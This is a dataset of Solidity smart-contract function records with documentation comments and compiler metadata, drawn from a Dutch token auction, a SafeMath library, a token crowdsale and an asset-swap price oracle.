0x81f040ec6a1574197ae651025383170230f31c07
Solidity
Auction
contract Auction is Ownable, usingOraclize, ERC223ReceivingContract { address public token; address public beneficiary; uint public constant TOKEN_DECIMALS_MULTIPLIER = uint(10) ** 18; uint public constant TOTAL_TOKENS = 100000000 * TOKEN_DECIMALS_MULTIPLIER; // 100 000 000 DGTX uint pu...
/** * @title Dutch auction of DGTX tokens. Sale of 100 000 000 DGTX. * @author SmartDec */
NatSpecMultiLine
withdrawTokens
function withdrawTokens(address _recipient) internal { uint256 tokens = 0; if (totalCentsCollected < totalTokens * MIN_PRICE_IN_CENTS / TOKEN_DECIMALS_MULTIPLIER) { tokens = centsReceived[_recipient] * TOKEN_DECIMALS_MULTIPLIER / MIN_PRICE_IN_CENTS; } else { tokens = centsReceived[_reci...
/** * @dev Internal function to withdraw tokens by final price. * @param _recipient participant to withdraw */
NatSpecMultiLine
v0.4.19+commit.c4cbbb05
bzzr://1348f98b9644cd1b15bf8f4623e8ea0b592ad9cb344a414f509dee61a9fd5a35
{ "func_code_index": [ 8925, 9468 ] }
18,630
Auction
Auction.sol
0x81f040ec6a1574197ae651025383170230f31c07
Solidity
Auction
contract Auction is Ownable, usingOraclize, ERC223ReceivingContract { address public token; address public beneficiary; uint public constant TOKEN_DECIMALS_MULTIPLIER = uint(10) ** 18; uint public constant TOTAL_TOKENS = 100000000 * TOKEN_DECIMALS_MULTIPLIER; // 100 000 000 DGTX uint pu...
/** * @title Dutch auction of DGTX tokens. Sale of 100 000 000 DGTX. * @author SmartDec */
NatSpecMultiLine
isContract
function isContract(address _addr) internal view returns (bool) { // retrieve the size of the code on target address, this needs assembly uint length; assembly { length := extcodesize(_addr) } return length > 0; }
/** * @dev Assemble the given address bytecode. If bytecode exists then the _addr is a contract. * @return true if _addr is contract */
NatSpecMultiLine
v0.4.19+commit.c4cbbb05
bzzr://1348f98b9644cd1b15bf8f4623e8ea0b592ad9cb344a414f509dee61a9fd5a35
{ "func_code_index": [ 9630, 9889 ] }
18,631
Auction
Auction.sol
0x81f040ec6a1574197ae651025383170230f31c07
Solidity
Auction
contract Auction is Ownable, usingOraclize, ERC223ReceivingContract { address public token; address public beneficiary; uint public constant TOKEN_DECIMALS_MULTIPLIER = uint(10) ** 18; uint public constant TOTAL_TOKENS = 100000000 * TOKEN_DECIMALS_MULTIPLIER; // 100 000 000 DGTX uint pu...
/** * @title Dutch auction of DGTX tokens. Sale of 100 000 000 DGTX. * @author SmartDec */
NatSpecMultiLine
updateEthToCentsRate
function updateEthToCentsRate(uint _delay) private { NewOraclizeQuery("Update of ETH to USD cents price requested"); oraclize_query( _delay, "URL", "json(https://api.etherscan.io/api?module=stats&action=ethprice&apikey=YourApiKeyToken).result.ethusd"); }
/** * @dev Internal function to make an oraclize query for rate update with given delay in seconds. * @param _delay Delay for query in seconds */
NatSpecMultiLine
v0.4.19+commit.c4cbbb05
bzzr://1348f98b9644cd1b15bf8f4623e8ea0b592ad9cb344a414f509dee61a9fd5a35
{ "func_code_index": [ 10061, 10382 ] }
18,632
APPCrowdsale
PPCrowdsale.sol
0x9765986db807b4abc6cc519a5b2511f357fae1dc
Solidity
SafeMath
library SafeMath { int256 constant private INT256_MIN = -2**255; /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the ...
/** * @title SafeMath * @dev Math operations with safety checks that revert on error */
NatSpecMultiLine
mul
function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } ...
/** * @dev Multiplies two unsigned integers, reverts on overflow. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
MIT
bzzr://036e0e0744e18727062915a5c3bc9fdb0a6d944153d581f69a21e3bc76ffee1d
{ "func_code_index": [ 151, 576 ] }
18,633
APPCrowdsale
PPCrowdsale.sol
0x9765986db807b4abc6cc519a5b2511f357fae1dc
Solidity
SafeMath
library SafeMath { int256 constant private INT256_MIN = -2**255; /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the ...
/** * @title SafeMath * @dev Math operations with safety checks that revert on error */
NatSpecMultiLine
mul
function mul(int256 a, int256 b) internal pure returns (int256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } re...
/** * @dev Multiplies two signed integers, reverts on overflow. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
MIT
bzzr://036e0e0744e18727062915a5c3bc9fdb0a6d944153d581f69a21e3bc76ffee1d
{ "func_code_index": [ 657, 1196 ] }
18,634
APPCrowdsale
PPCrowdsale.sol
0x9765986db807b4abc6cc519a5b2511f357fae1dc
Solidity
SafeMath
library SafeMath { int256 constant private INT256_MIN = -2**255; /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the ...
/** * @title SafeMath * @dev Math operations with safety checks that revert on error */
NatSpecMultiLine
div
function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; }
/** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
MIT
bzzr://036e0e0744e18727062915a5c3bc9fdb0a6d944153d581f69a21e3bc76ffee1d
{ "func_code_index": [ 1320, 1620 ] }
18,635
APPCrowdsale
PPCrowdsale.sol
0x9765986db807b4abc6cc519a5b2511f357fae1dc
Solidity
SafeMath
library SafeMath { int256 constant private INT256_MIN = -2**255; /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the ...
/** * @title SafeMath * @dev Math operations with safety checks that revert on error */
NatSpecMultiLine
div
function div(int256 a, int256 b) internal pure returns (int256) { require(b != 0); // Solidity only automatically asserts when dividing by 0 require(!(b == -1 && a == INT256_MIN)); // This is the only case of overflow int256 c = a / b; return c; }
/** * @dev Integer division of two signed integers truncating the quotient, reverts on division by zero. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
MIT
bzzr://036e0e0744e18727062915a5c3bc9fdb0a6d944153d581f69a21e3bc76ffee1d
{ "func_code_index": [ 1742, 2031 ] }
18,636
APPCrowdsale
PPCrowdsale.sol
0x9765986db807b4abc6cc519a5b2511f357fae1dc
Solidity
SafeMath
library SafeMath { int256 constant private INT256_MIN = -2**255; /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the ...
/** * @title SafeMath * @dev Math operations with safety checks that revert on error */
NatSpecMultiLine
sub
function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; }
/** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */
NatSpecMultiLine
v0.4.24+commit.e67f0147
MIT
bzzr://036e0e0744e18727062915a5c3bc9fdb0a6d944153d581f69a21e3bc76ffee1d
{ "func_code_index": [ 2158, 2307 ] }
18,637
APPCrowdsale
PPCrowdsale.sol
0x9765986db807b4abc6cc519a5b2511f357fae1dc
Solidity
SafeMath
library SafeMath { int256 constant private INT256_MIN = -2**255; /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the ...
/** * @title SafeMath * @dev Math operations with safety checks that revert on error */
NatSpecMultiLine
sub
function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; }
/** * @dev Subtracts two signed integers, reverts on overflow. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
MIT
bzzr://036e0e0744e18727062915a5c3bc9fdb0a6d944153d581f69a21e3bc76ffee1d
{ "func_code_index": [ 2387, 2564 ] }
18,638
APPCrowdsale
PPCrowdsale.sol
0x9765986db807b4abc6cc519a5b2511f357fae1dc
Solidity
SafeMath
library SafeMath { int256 constant private INT256_MIN = -2**255; /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the ...
/** * @title SafeMath * @dev Math operations with safety checks that revert on error */
NatSpecMultiLine
add
function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; }
/** * @dev Adds two unsigned integers, reverts on overflow. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
MIT
bzzr://036e0e0744e18727062915a5c3bc9fdb0a6d944153d581f69a21e3bc76ffee1d
{ "func_code_index": [ 2641, 2790 ] }
18,639
APPCrowdsale
PPCrowdsale.sol
0x9765986db807b4abc6cc519a5b2511f357fae1dc
Solidity
SafeMath
library SafeMath { int256 constant private INT256_MIN = -2**255; /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the ...
/** * @title SafeMath * @dev Math operations with safety checks that revert on error */
NatSpecMultiLine
add
function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; }
/** * @dev Adds two signed integers, reverts on overflow. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
MIT
bzzr://036e0e0744e18727062915a5c3bc9fdb0a6d944153d581f69a21e3bc76ffee1d
{ "func_code_index": [ 2865, 3042 ] }
18,640
APPCrowdsale
PPCrowdsale.sol
0x9765986db807b4abc6cc519a5b2511f357fae1dc
Solidity
SafeMath
library SafeMath { int256 constant private INT256_MIN = -2**255; /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the ...
/** * @title SafeMath * @dev Math operations with safety checks that revert on error */
NatSpecMultiLine
mod
function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; }
/** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
MIT
bzzr://036e0e0744e18727062915a5c3bc9fdb0a6d944153d581f69a21e3bc76ffee1d
{ "func_code_index": [ 3190, 3315 ] }
18,641
APPCrowdsale
PPCrowdsale.sol
0x9765986db807b4abc6cc519a5b2511f357fae1dc
Solidity
APPCrowdsale
contract APPCrowdsale is ReentrancyGuard { using SafeMath for uint256; using SafeERC20 for IERC20; // The token being sold IERC20 private _token; // Address where funds are collected address private _wallet1; address private _wallet2; // How many token units a buyer gets per wei. ...
/** * @title Crowdsale * @dev Crowdsale is a base contract for managing a token crowdsale, * allowing investors to purchase tokens with ether. This contract implements * such functionality in its most fundamental form and can be extended to provide additional * functionality and/or custom behavior. * The external...
NatSpecMultiLine
changeMinTokenSum
function changeMinTokenSum(uint256 minTokenSum) public { require (_trusted[msg.sender] == true || msg.sender == _owner); _minTokenSum = minTokenSum; }
/** * @param minTokenSum minimal sum in PAY tokens, * that investor can buy **/
NatSpecMultiLine
v0.4.24+commit.e67f0147
MIT
bzzr://036e0e0744e18727062915a5c3bc9fdb0a6d944153d581f69a21e3bc76ffee1d
{ "func_code_index": [ 2647, 2821 ] }
18,642
APPCrowdsale
PPCrowdsale.sol
0x9765986db807b4abc6cc519a5b2511f357fae1dc
Solidity
APPCrowdsale
contract APPCrowdsale is ReentrancyGuard { using SafeMath for uint256; using SafeERC20 for IERC20; // The token being sold IERC20 private _token; // Address where funds are collected address private _wallet1; address private _wallet2; // How many token units a buyer gets per wei. ...
/** * @title Crowdsale * @dev Crowdsale is a base contract for managing a token crowdsale, * allowing investors to purchase tokens with ether. This contract implements * such functionality in its most fundamental form and can be extended to provide additional * functionality and/or custom behavior. * The external...
NatSpecMultiLine
function () external payable { buyTokens(msg.sender); }
/** * @dev fallback function ***DO NOT OVERRIDE*** * Note that other contracts will transfer fund with a base gas stipend * of 2300, which is not enough to call buyTokens. Consider calling * buyTokens directly when purchasing tokens from a contract. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
MIT
bzzr://036e0e0744e18727062915a5c3bc9fdb0a6d944153d581f69a21e3bc76ffee1d
{ "func_code_index": [ 3240, 3311 ] }
18,643
APPCrowdsale
PPCrowdsale.sol
0x9765986db807b4abc6cc519a5b2511f357fae1dc
Solidity
APPCrowdsale
contract APPCrowdsale is ReentrancyGuard { using SafeMath for uint256; using SafeERC20 for IERC20; // The token being sold IERC20 private _token; // Address where funds are collected address private _wallet1; address private _wallet2; // How many token units a buyer gets per wei. ...
/** * @title Crowdsale * @dev Crowdsale is a base contract for managing a token crowdsale, * allowing investors to purchase tokens with ether. This contract implements * such functionality in its most fundamental form and can be extended to provide additional * functionality and/or custom behavior. * The external...
NatSpecMultiLine
token
function token() public view returns (IERC20) { return _token; }
/** * @return the token being sold. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
MIT
bzzr://036e0e0744e18727062915a5c3bc9fdb0a6d944153d581f69a21e3bc76ffee1d
{ "func_code_index": [ 3366, 3446 ] }
18,644
APPCrowdsale
PPCrowdsale.sol
0x9765986db807b4abc6cc519a5b2511f357fae1dc
Solidity
APPCrowdsale
contract APPCrowdsale is ReentrancyGuard { using SafeMath for uint256; using SafeERC20 for IERC20; // The token being sold IERC20 private _token; // Address where funds are collected address private _wallet1; address private _wallet2; // How many token units a buyer gets per wei. ...
/** * @title Crowdsale * @dev Crowdsale is a base contract for managing a token crowdsale, * allowing investors to purchase tokens with ether. This contract implements * such functionality in its most fundamental form and can be extended to provide additional * functionality and/or custom behavior. * The external...
NatSpecMultiLine
rate
function rate() public view returns (uint256) { return _rate; }
/** * @return the number of token units a buyer gets per wei. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
MIT
bzzr://036e0e0744e18727062915a5c3bc9fdb0a6d944153d581f69a21e3bc76ffee1d
{ "func_code_index": [ 3702, 3781 ] }
18,645
APPCrowdsale
PPCrowdsale.sol
0x9765986db807b4abc6cc519a5b2511f357fae1dc
Solidity
APPCrowdsale
contract APPCrowdsale is ReentrancyGuard { using SafeMath for uint256; using SafeERC20 for IERC20; // The token being sold IERC20 private _token; // Address where funds are collected address private _wallet1; address private _wallet2; // How many token units a buyer gets per wei. ...
/** * @title Crowdsale * @dev Crowdsale is a base contract for managing a token crowdsale, * allowing investors to purchase tokens with ether. This contract implements * such functionality in its most fundamental form and can be extended to provide additional * functionality and/or custom behavior. * The external...
NatSpecMultiLine
weiRaised
function weiRaised() public view returns (uint256) { return _weiRaised; }
/** * @return the amount of wei raised. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
MIT
bzzr://036e0e0744e18727062915a5c3bc9fdb0a6d944153d581f69a21e3bc76ffee1d
{ "func_code_index": [ 3935, 4024 ] }
18,646
APPCrowdsale
PPCrowdsale.sol
0x9765986db807b4abc6cc519a5b2511f357fae1dc
Solidity
APPCrowdsale
contract APPCrowdsale is ReentrancyGuard { using SafeMath for uint256; using SafeERC20 for IERC20; // The token being sold IERC20 private _token; // Address where funds are collected address private _wallet1; address private _wallet2; // How many token units a buyer gets per wei. ...
/** * @title Crowdsale * @dev Crowdsale is a base contract for managing a token crowdsale, * allowing investors to purchase tokens with ether. This contract implements * such functionality in its most fundamental form and can be extended to provide additional * functionality and/or custom behavior. * The external...
NatSpecMultiLine
buyTokens
function buyTokens(address beneficiary) public nonReentrant payable { uint256 weiAmount = msg.value; _preValidatePurchase(beneficiary, weiAmount); // calculate token amount to be created uint256 tokens = _getTokenAmount(weiAmount); // update state _weiRaised = _weiRaised.add(weiAmount); _...
/** * @dev low level token purchase ***DO NOT OVERRIDE*** * This function has a non-reentrancy guard, so it shouldn't be called by * another `nonReentrant` function. * @param beneficiary Recipient of the token purchase */
NatSpecMultiLine
v0.4.24+commit.e67f0147
MIT
bzzr://036e0e0744e18727062915a5c3bc9fdb0a6d944153d581f69a21e3bc76ffee1d
{ "func_code_index": [ 4449, 5062 ] }
18,647
APPCrowdsale
PPCrowdsale.sol
0x9765986db807b4abc6cc519a5b2511f357fae1dc
Solidity
APPCrowdsale
contract APPCrowdsale is ReentrancyGuard { using SafeMath for uint256; using SafeERC20 for IERC20; // The token being sold IERC20 private _token; // Address where funds are collected address private _wallet1; address private _wallet2; // How many token units a buyer gets per wei. ...
/** * @title Crowdsale * @dev Crowdsale is a base contract for managing a token crowdsale, * allowing investors to purchase tokens with ether. This contract implements * such functionality in its most fundamental form and can be extended to provide additional * functionality and/or custom behavior. * The external...
NatSpecMultiLine
_preValidatePurchase
function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal view { require(beneficiary != address(0)); require(weiAmount != 0); require(weiAmount >= _rate); require(_getTokenAmount(weiAmount) >= _minTokenSum); }
/** * @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. Use `super` in contracts that inherit from Crowdsale to extend their validations. * Example from CappedCrowdsale.sol's _preValidatePurchase method: * super._preValidatePurchase(beneficiary, weiAmoun...
NatSpecMultiLine
v0.4.24+commit.e67f0147
MIT
bzzr://036e0e0744e18727062915a5c3bc9fdb0a6d944153d581f69a21e3bc76ffee1d
{ "func_code_index": [ 5731, 6002 ] }
18,648
APPCrowdsale
PPCrowdsale.sol
0x9765986db807b4abc6cc519a5b2511f357fae1dc
Solidity
APPCrowdsale
contract APPCrowdsale is ReentrancyGuard { using SafeMath for uint256; using SafeERC20 for IERC20; // The token being sold IERC20 private _token; // Address where funds are collected address private _wallet1; address private _wallet2; // How many token units a buyer gets per wei. ...
/** * @title Crowdsale * @dev Crowdsale is a base contract for managing a token crowdsale, * allowing investors to purchase tokens with ether. This contract implements * such functionality in its most fundamental form and can be extended to provide additional * functionality and/or custom behavior. * The external...
NatSpecMultiLine
_deliverTokens
function _deliverTokens(address beneficiary, uint256 tokenAmount) internal { _token.safeTransfer(beneficiary, tokenAmount); }
/** * @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens. * @param beneficiary Address performing the token purchase * @param tokenAmount Number of tokens to be emitted */
NatSpecMultiLine
v0.4.24+commit.e67f0147
MIT
bzzr://036e0e0744e18727062915a5c3bc9fdb0a6d944153d581f69a21e3bc76ffee1d
{ "func_code_index": [ 6271, 6412 ] }
18,649
APPCrowdsale
PPCrowdsale.sol
0x9765986db807b4abc6cc519a5b2511f357fae1dc
Solidity
APPCrowdsale
contract APPCrowdsale is ReentrancyGuard { using SafeMath for uint256; using SafeERC20 for IERC20; // The token being sold IERC20 private _token; // Address where funds are collected address private _wallet1; address private _wallet2; // How many token units a buyer gets per wei. ...
/** * @title Crowdsale * @dev Crowdsale is a base contract for managing a token crowdsale, * allowing investors to purchase tokens with ether. This contract implements * such functionality in its most fundamental form and can be extended to provide additional * functionality and/or custom behavior. * The external...
NatSpecMultiLine
_processPurchase
function _processPurchase(address beneficiary, uint256 tokenAmount) internal { _deliverTokens(beneficiary, tokenAmount); }
/** * @dev Executed when a purchase has been validated and is ready to be executed. Doesn't necessarily emit/send tokens. * @param beneficiary Address receiving the tokens * @param tokenAmount Number of tokens to be purchased */
NatSpecMultiLine
v0.4.24+commit.e67f0147
MIT
bzzr://036e0e0744e18727062915a5c3bc9fdb0a6d944153d581f69a21e3bc76ffee1d
{ "func_code_index": [ 6667, 6805 ] }
18,650
APPCrowdsale
PPCrowdsale.sol
0x9765986db807b4abc6cc519a5b2511f357fae1dc
Solidity
APPCrowdsale
contract APPCrowdsale is ReentrancyGuard { using SafeMath for uint256; using SafeERC20 for IERC20; // The token being sold IERC20 private _token; // Address where funds are collected address private _wallet1; address private _wallet2; // How many token units a buyer gets per wei. ...
/** * @title Crowdsale * @dev Crowdsale is a base contract for managing a token crowdsale, * allowing investors to purchase tokens with ether. This contract implements * such functionality in its most fundamental form and can be extended to provide additional * functionality and/or custom behavior. * The external...
NatSpecMultiLine
_getTokenAmount
function _getTokenAmount(uint256 weiAmount) internal view returns (uint256) { return weiAmount.div(_rate); }
/** * @dev Override to extend the way in which ether is converted to tokens. * @param weiAmount Value in wei to be converted into tokens * @return Number of tokens that can be purchased with the specified _weiAmount */
NatSpecMultiLine
v0.4.24+commit.e67f0147
MIT
bzzr://036e0e0744e18727062915a5c3bc9fdb0a6d944153d581f69a21e3bc76ffee1d
{ "func_code_index": [ 7050, 7174 ] }
18,651
APPCrowdsale
PPCrowdsale.sol
0x9765986db807b4abc6cc519a5b2511f357fae1dc
Solidity
APPCrowdsale
contract APPCrowdsale is ReentrancyGuard { using SafeMath for uint256; using SafeERC20 for IERC20; // The token being sold IERC20 private _token; // Address where funds are collected address private _wallet1; address private _wallet2; // How many token units a buyer gets per wei. ...
/** * @title Crowdsale * @dev Crowdsale is a base contract for managing a token crowdsale, * allowing investors to purchase tokens with ether. This contract implements * such functionality in its most fundamental form and can be extended to provide additional * functionality and/or custom behavior. * The external...
NatSpecMultiLine
_forwardFunds
function _forwardFunds() internal { uint256 val1 = msg.value/2; uint256 val2 = msg.value - val1; _wallet1.transfer(val1); _wallet2.transfer(val2); }
/** * @dev Determines how ETH is stored/forwarded on purchases. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
MIT
bzzr://036e0e0744e18727062915a5c3bc9fdb0a6d944153d581f69a21e3bc76ffee1d
{ "func_code_index": [ 7257, 7445 ] }
18,652
AssetSwap
Oracle.sol
0xe560fb2628e0409c9af7e6645aec9d2ba0c67dcd
Solidity
Oracle
contract Oracle { constructor (uint ethPrice, uint spxPrice, uint btcPrice) public { admins[msg.sender] = true; prices[0][5] = ethPrice; prices[1][5] = spxPrice; prices[2][5] = btcPrice; lastUpdateTime = now; lastSettleTime = now; currentDay = 5; ...
// Created by Eric George Falkenstein // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without ev...
LineComment
addAdmin
function addAdmin(address newAdmin) external onlyAdmin { admins[newAdmin] = true; }
/** Grant write priviledges to a user, * mainly intended for when the admin wants to switch accounts, ie, paired with a removal */
NatSpecMultiLine
v0.5.15+commit.6a57276f
GNU GPLv3
bzzr://fdd5f874412516b604ded258d26b484fee61c22bfbea600f5e8f7753e6eef280
{ "func_code_index": [ 1241, 1366 ] }
18,653
AssetSwap
Oracle.sol
0xe560fb2628e0409c9af7e6645aec9d2ba0c67dcd
Solidity
Oracle
contract Oracle { constructor (uint ethPrice, uint spxPrice, uint btcPrice) public { admins[msg.sender] = true; prices[0][5] = ethPrice; prices[1][5] = spxPrice; prices[2][5] = btcPrice; lastUpdateTime = now; lastSettleTime = now; currentDay = 5; ...
// Created by Eric George Falkenstein // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without ev...
LineComment
addReaders
function addReaders(address newReader) external onlyAdmin { readers[newReader] = true; }
/** Grant priviledges to a user accessing price data on the blockchain * @param newReader the address. Any reader is thus approved by the oracle/admin * useful for new contracts that use this oracle, in that the oracle would not * need to create a new oracle contract for ETH prices */
NatSpecMultiLine
v0.5.15+commit.6a57276f
GNU GPLv3
bzzr://fdd5f874412516b604ded258d26b484fee61c22bfbea600f5e8f7753e6eef280
{ "func_code_index": [ 1680, 1810 ] }
18,654
AssetSwap
Oracle.sol
0xe560fb2628e0409c9af7e6645aec9d2ba0c67dcd
Solidity
Oracle
contract Oracle { constructor (uint ethPrice, uint spxPrice, uint btcPrice) public { admins[msg.sender] = true; prices[0][5] = ethPrice; prices[1][5] = spxPrice; prices[2][5] = btcPrice; lastUpdateTime = now; lastSettleTime = now; currentDay = 5; ...
// Created by Eric George Falkenstein // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without ev...
LineComment
addAssetSwaps
function addAssetSwaps(address newAS0, address newAS1, address newAS2) external onlyAdmin { require(assetSwaps[0] == address(0)); assetSwaps[0] = newAS0; assetSwaps[1] = newAS1; assetSwaps[2] = newAS2; readers[newAS0] = true; readers[newAS1] = true; readers[newAS2] = true; ...
/** this can only be done once, so this oracle is solely for working with * three AssetSwap contracts * assetswap 0 is the ETH, at 2.5 leverage * assetswap 1 is the SPX, at 10x leverage * assetswap 2 is the BTC, at 2.5 leverage * */
NatSpecMultiLine
v0.5.15+commit.6a57276f
GNU GPLv3
bzzr://fdd5f874412516b604ded258d26b484fee61c22bfbea600f5e8f7753e6eef280
{ "func_code_index": [ 2081, 2452 ] }
18,655
AssetSwap
Oracle.sol
0xe560fb2628e0409c9af7e6645aec9d2ba0c67dcd
Solidity
Oracle
contract Oracle { constructor (uint ethPrice, uint spxPrice, uint btcPrice) public { admins[msg.sender] = true; prices[0][5] = ethPrice; prices[1][5] = spxPrice; prices[2][5] = btcPrice; lastUpdateTime = now; lastSettleTime = now; currentDay = 5; ...
// Created by Eric George Falkenstein // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without ev...
LineComment
editPrice
function editPrice(uint _ethprice, uint _spxprice, uint _btcprice) external onlyAdmin { require(now < lastUpdateTime + 60 minutes); prices[0][currentDay] = _ethprice; prices[1][currentDay] = _spxprice; prices[2][currentDay] = _btcprice; emit PriceUpdated(_ethprice, _spxprice, _btcpri...
/** Quickly fix an erroneous price, or correct the fact that 50% movements are * not allowed in the standard price input * this must be called within 60 minutes of the initial price update occurence */
NatSpecMultiLine
v0.5.15+commit.6a57276f
GNU GPLv3
bzzr://fdd5f874412516b604ded258d26b484fee61c22bfbea600f5e8f7753e6eef280
{ "func_code_index": [ 2851, 3242 ] }
18,656
AssetSwap
Oracle.sol
0xe560fb2628e0409c9af7e6645aec9d2ba0c67dcd
Solidity
Oracle
contract Oracle { constructor (uint ethPrice, uint spxPrice, uint btcPrice) public { admins[msg.sender] = true; prices[0][5] = ethPrice; prices[1][5] = spxPrice; prices[2][5] = btcPrice; lastUpdateTime = now; lastSettleTime = now; currentDay = 5; ...
// Created by Eric George Falkenstein // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without ev...
LineComment
getUsdPrices
function getUsdPrices(uint _assetID) public view returns (uint[6] memory _priceHist) { require(admins[msg.sender] || readers[msg.sender]); _priceHist = prices[_assetID]; }
/** Return the entire current price array for a given asset * @param _assetID the asset id of the desired asset * @return _priceHist the price array in USD for the asset * @dev only the admin and addresses granted readership may call this function * While only an admin or reader can access this within the EVM ...
NatSpecMultiLine
v0.5.15+commit.6a57276f
GNU GPLv3
bzzr://fdd5f874412516b604ded258d26b484fee61c22bfbea600f5e8f7753e6eef280
{ "func_code_index": [ 8515, 8746 ] }
18,657
AssetSwap
Oracle.sol
0xe560fb2628e0409c9af7e6645aec9d2ba0c67dcd
Solidity
Oracle
contract Oracle { constructor (uint ethPrice, uint spxPrice, uint btcPrice) public { admins[msg.sender] = true; prices[0][5] = ethPrice; prices[1][5] = spxPrice; prices[2][5] = btcPrice; lastUpdateTime = now; lastSettleTime = now; currentDay = 5; ...
// Created by Eric George Falkenstein // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without ev...
LineComment
getCurrentPrice
function getCurrentPrice(uint _assetID) public view returns (uint _price) { require(admins[msg.sender] || readers[msg.sender]); _price = prices[_assetID][currentDay]; }
/** Return only the latest prices * @param _assetID the asset id of the desired asset * @return _price the latest price of the given asset * @dev only the admin or a designated reader may call this function within the EVM */
NatSpecMultiLine
v0.5.15+commit.6a57276f
GNU GPLv3
bzzr://fdd5f874412516b604ded258d26b484fee61c22bfbea600f5e8f7753e6eef280
{ "func_code_index": [ 9019, 9247 ] }
18,658
AssetSwap
Oracle.sol
0xe560fb2628e0409c9af7e6645aec9d2ba0c67dcd
Solidity
Oracle
contract Oracle { constructor (uint ethPrice, uint spxPrice, uint btcPrice) public { admins[msg.sender] = true; prices[0][5] = ethPrice; prices[1][5] = spxPrice; prices[2][5] = btcPrice; lastUpdateTime = now; lastSettleTime = now; currentDay = 5; ...
// Created by Eric George Falkenstein // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without ev...
LineComment
getStartDay
function getStartDay() public view returns (uint8 _startDay) { if (nextUpdateSettle) { _startDay = 5; } else if (currentDay == 5) { _startDay = 1; } else { _startDay = currentDay + 1; } }
/** * @return startDay relevant for trades done now * pulls the day relevant for new AssetSwap subcontracts * startDay 2 means the 2 slot (ie, the third) of prices will be the initial * price for the subcontract. As 5 is the top slot, and rolls into slot 0 * the next week, the next pricing day is 1 when the c...
NatSpecMultiLine
v0.5.15+commit.6a57276f
GNU GPLv3
bzzr://fdd5f874412516b604ded258d26b484fee61c22bfbea600f5e8f7753e6eef280
{ "func_code_index": [ 9665, 9969 ] }
18,659
ERC20
ERC20.sol
